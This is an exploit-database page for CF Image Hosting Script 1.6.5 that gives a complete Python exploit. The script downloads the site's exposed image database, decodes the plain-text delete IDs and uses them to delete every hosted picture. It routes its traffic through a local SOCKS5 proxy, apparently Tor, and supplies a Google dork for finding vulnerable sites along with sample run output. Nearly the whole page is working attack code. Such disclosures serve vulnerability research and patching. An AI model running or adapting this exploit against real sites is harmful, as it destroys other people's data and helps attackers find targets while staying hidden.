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CF Image Hosting Script 1.6.5 - (Delete all Pictures) Privilege Escalation

EDB-ID:

46094

CVE:

N/A

EDB Verified: ✘

Author:

[DAVID TAVAREZ](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2019-01-08

Vulnerable App: 





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```
#!/usr/bin/env python
```

```
"""
```

```
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
```

```
Google Dork: "Powered By CF Image Hosting script"
```

```
Date: 01/08/2019
```

```
Exploit Author: David Tavaréz
```

```
Vendor Homepage: https://davidtavarez.github.io/
```

```
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
```

```
Version: 1.6.5
```

```
Tested on: Debian 9.6
```

By default, the database can be downloaded by any user. After decoding the file the database should be unserialized. The DELETE ID is stored in Plain Text, this ID can be used to delete a picture.

```
$ virtualenv cfexploit
```

```
$ source cfexploit/bin/activate
```

```
$ pip install phpserialize
```

```
$ pip install PySocks
```

```
$ python exploit.py http://127.0.0.1:8000
```

```
[-] Target: http://127.0.0.1:8000/
```

```
[-] Downloading the database...
```

```
[+] Decoding database...
```

```
[-] Finding pictures...
```

```
[+] Pictures found: 3
```

```
[+] Ready... let's do this! Deleting all pictures...
```

```
[+] Done.
```

```
"""
```

```
import phpserialize
```

```
import base64
```

```
import socks
```

```
import socket
```

```
import sys
```

```
def create_connection(address, timeout=None, source_address=None):
```

```
    sock = socks.socksocket()
```

```
    sock.connect(address)
```

```
    return sock
```

```
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)
```

```
# patch the socket module
```

```
socket.socket = socks.socksocket
```

```
socket.create_connection = create_connection
```

```
import urllib2
```

```
if __name__ == '__main__':
```

```
    if len(sys.argv) == 1:
```

```
        print "ERROR: Provide a valid URL"
```

```
        sys.exit(-1)
```

```
    url = sys.argv[1]
```

```
    ids = []
```

```
    try:
```

```
        print "[+] Target: {}".format(url)
```

```
        print "[+] Downloading the database..."
```

```
        response = urllib2.urlopen("{}upload/data/imgdb.db".format(url))
```

```
        print "[+] Decoding database..."
```

```
        with open("imgdb.db.txt", "w+") as f:
```

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```
f.write(base64.b64decode(response.read()))
print "[+] Finding pictues..."
for key, value in
phpserialize.load(file("imgdb.db.txt")).iteritems():
    ids.append(value.get('deleteid'))
print "[+] Pictures found: {}".format(len(ids))
print "[+] Ready... let's do this! Deleting all pictures..."
for id in ids:
    urllib2.urlopen("{}?d={}".format(url, id))
print "[+] Done."

except urllib2.URLError, ex:
    if ex.reason == "Forbidden":
        print "[-] ERROR: this version is not vulnerable."
except EOFError, e:
    raise e
```

Tags: [Authentication Bypass / Credentials Bypass \(AB/CB\)](#)

Advisory/Source: [Link](#)



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